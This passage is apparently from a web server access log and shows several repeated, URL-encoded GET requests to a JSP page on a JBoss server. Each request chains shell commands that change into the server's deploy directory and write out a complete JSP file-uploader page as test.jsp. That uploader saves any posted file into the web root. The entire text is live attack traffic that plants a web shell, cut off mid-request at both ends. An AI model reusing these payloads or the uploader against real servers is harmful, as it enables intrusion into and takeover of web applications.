endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834440176 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834434050 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E0.+Local+File+Name+%3D+%5C%22+%2B+strLocalFileName%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E%5E%3Cbr%5E%3E1.+filename+%3D+%5C%22+%2B+filename%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E2.+contentType+%3D+%5C%22+%2B+contentType%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E3.+startPos+%3D+%5C%22+%2B+startPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E4.+endPos+%3D+%5C%22+%2B+endPos%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3E5.+boundary+%3D+%5C%22+%2B+boundary%29%3B++++++String+destFolder+%3D+myPath%2Bfilename%3B++++out.println%28%5C%22Final+Destination%3A+%5C%22%2BdestFolder%29%3B+++FileOutputStream+fileOut+%3D+new+FileOutputStream%28destFolder%29%3B+++++fileOut.write%28dataBytes%2C+startPos%2C+%28endPos+-+startPos%29%29%3B+++++fileOut.flush%28%29%3B+++++fileOut.close%28%29%3B+++++out.println%28%5C%22%5E%3Cbr%5E%3EFile+saved+as+%5E%3E%5E%3E+%5C%22+%2B+destFolder%29%3B++++%7D++++else++++%7B+++++out.println%28%5C%22Error+in+uploading+%5Cr%5Cn%5Cr%5Cn%5C%22%29%3B++++%7D++++++%25%5E%3E+%5E%3Cform+method%3D%5C%22post%5C%22+name%3D%5C%22upform%5C%22++enctype%3D%5C%22multipart%2Fform-data%5C%22%5E%3E+++++%5E%3Ctable+width%3D%5C%2260%25%5C%22+border%3D%5C%220%5C%22+cellspacing%3D%5C%221%5C%22+cellpadding%3D%5C%221%5C%22+++align%3D%5C%22center%5C%22+class%3D%5C%22style1%5C%22%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E%5E%3Cb%5E%3ESelect+a+file+to+upload+%3A%5E%3C%2Fb%5E%3E%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22file%5C%22+name%3D%5C%22uploadfile%5C%22+size%3D%5C%2250%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++++%5E%3Ctr%5E%3E+++++++++%5E%3Ctd+align%3D%5C%22left%5C%22%5E%3E+++++%5E%3Cinput+type%3D%5C%22hidden%5C%22+name%3D%5C%22todo%5C%22+value%3D%5C%22upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22submit%5C%22+name%3D%5C%22Submit%5C%22+value%3D%5C%22Upload%5C%22%5E%3E+++++++++++%5E%3Cinput+type%3D%5C%22reset%5C%22+name%3D%5C%22Reset%5C%22+value%3D%5C%22Cancel%5C%22%5E%3E+++++++++++%5E%3C%2Ftd%5E%3E+++++++%5E%3C%2Ftr%5E%3E+++++%5E%3C%2Ftable%5E%3E+++%5E%3C%2Fform%5E%3E+++%5E%3C%2Fbody%5E%3E+++%5E%3C%2Fhtml%5E%3E%22+%3E+test.jsp+%26%26+dir HTTP/1.1
S834427503 ms0 KB0 KB212.19.138.3formaempleo.feriavalencia.comGET /jexws4/jexws4.jsp?ppp=cd+C%3A%5Cpfwecm%5Cjboss%5Cserver%5Cpfw%5Cdeploy%5Cjbossweb-tomcat50.sar%5CROOT.war%5C+%26%26+echo+%22%5E%3C%25%40+page++import%3D%5C%22java.io.%2A%2Cjavax.servlet.http.HttpServletRequest%2Cjavax.servlet.ServletInputStream%5C%22+%25%5E%3E+++%5E%3C%25%40+page+import%3D%5C%22java.io.FileWriter%2Cjava.io.IOException%5C%22+%25%5E%3E+++%5E%3C%25++++String+myPath%3DSystem.getProperty%28%5C%22jboss.server.home.dir%5C%22%29%3B++String+savePath+%3D+%5C%22%5C%22%2C+filepath+%3D+%5C%22%5C%22%2C+filename+%3D+%5C%22%5C%22%3B++++String+contentType+%3D+%5C%22%5C%22%2C+fileData+%3D+%5C%22%5C%22%2C+strLocalFileName+%3D+%5C%22%5C%22%3B++++int+startPos+%3D+0%3B++++int+endPos+%3D+0%3B+++%25%5E%3E+++%5E%3C%25%21+++++void+copyByte%28byte+%5B%5D+fromBytes%2C+byte+%5B%5D+toBytes%2C+int+start%2C+int+len%29++++%7B+++++for%28int+i%3Dstart%3Bi%5E%3C%28start%2Blen%29%3Bi%2B%2B%29+++++%7B++++++toBytes%5Bi+-+start%5D+%3D+fromBytes%5Bi%5D%3B+++++%7D++++%7D+++%25%5E%3E+++%5E%3C%25++++myPath++%3Dapplication.getRealPath%28%5C%22%2F%5C%22%29%3B++++out.println%28%5C%22appPath+%3A+%5C%22+%2B+myPath%29%3B+++int+BOF+%3D+0%2C+EOF+%3D+0%3B++++contentType+%3D+request.getContentType%28%29%3B++++out.println%28%5C%22%5E%3Cbr%5E%3EContent+type+is+%3A%3A+%5C%22+%2BcontentType%29%3B++++if+%28%28contentType+%21%3D+null%29+%26%26+%28contentType.indexOf%28%5C%22multipart%2Fform-data%5C%22%29+%5E%3E%3D++0%29%29++++%7B++++++DataInputStream+in+%3D+new+DataInputStream%28request.getInputStream%28%29%29%3B+++++DataInputStream+in1+%3D+in%3B+++++int+formDataLength+%3D+request.getContentLength%28%29%3B+++++byte+dataBytes%5B%5D+%3D+new+byte%5BformDataLength%5D%3B+++++int+byteRead+%3D+0%3B+++++int+totalBytesRead+%3D+0%3B+++++while+%28totalBytesRead+%5E%3C+formDataLength%29+++++%7B++++++byteRead+%3D+in1.read%28dataBytes%2C+totalBytesRead%2C+formDataLength%29%3B++++++totalBytesRead+%2B%3D+byteRead%3B+++++%7D+++++out.println%28%5C%22%5E%3Cbr%5E%3EtotalBytesRead+%3A+%5C%22+%2B+totalBytesRead+%2B+%5C%22++++%3A++formDataLength+%3D+%5C%22+%2B+formDataLength%29%3B+++++byte%5B%5D+line+%3D+new+byte%5B128%5D%3B+++++if+%28totalBytesRead+%5E%3C+3%29+++++%7B+++++++return%3B++++%7D++++++++String+boundary+%3D+%5C%22%5C%22%3B+++++String+s+%3D+%5C%22%5C%22%3B+++++int+count+%3D+0%3B+++++int+pos+%3D+0%3B++++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Disposition%3A+form-data%3B+name%3D%5C%5C%22%5C%22%29%3B+++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++boundary+%3D+fileData.substring%28startPos%2C+endPos%29%3B++++++startPos+%3D+endPos%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22filename%3D%5C%5C%22%5C%22%2C+startPos%29%3B+++++if%28pos+%21%3D+-1%29+++++++startPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22Content-Type%3A+%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29+++++++endPos+%3D+pos%3B+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++filename+%3D+fileData.substring%28startPos+%2B+10%2C+endPos+-+3%29%3B++++strLocalFileName+%3D+filename%3B+++++int+index+%3D+filename.lastIndexOf%28%5C%22%5C%5C%5C%22%29%3B+++++if%28index+%21%3D+-1%29++++++filename+%3D+filename.substring%28index+%2B+1%29%3B+++++else++++++filename+%3D+filename%3B++++++boolean+blnNewlnFlag+%3D+false%3B+++++startPos+%3D+endPos%3B++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28%5C%22%5Cn%5C%22%2C+startPos%29%3B++++++if%28pos+%21%3D+-1%29++++++%7B+++++++if%28blnNewlnFlag+%3D%3D+true%29++++++++endPos+%3D+pos%3B+++++++else+++++++%7B++++++++blnNewlnFlag+%3D+true%3B++++++++pos+%3D+-1%3B+++++++%7D++++++%7D+++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++contentType+%3D+fileData.substring%28startPos+%2B+14%2C+endPos%29%3B++++++++startPos+%3D+count+%2B+1%3B+++++do+++++%7B++++++copyByte%28dataBytes%2C+line%2C+count+%2C1%29%3B+++++++count%2B%3D1%3B++++++s+%3D+new+String%28line%2C+0%2C+1%29%3B++++++fileData+%3D+fileData+%2B+s%3B++++++pos+%3D+fileData.indexOf%28boundary%2C+startPos%29%3B++++%7Dwhile%28pos+%3D%3D+-1%29%3B+++++endPos+%3D+count+-+boundary.length%28%29%3B++++++out.println%28%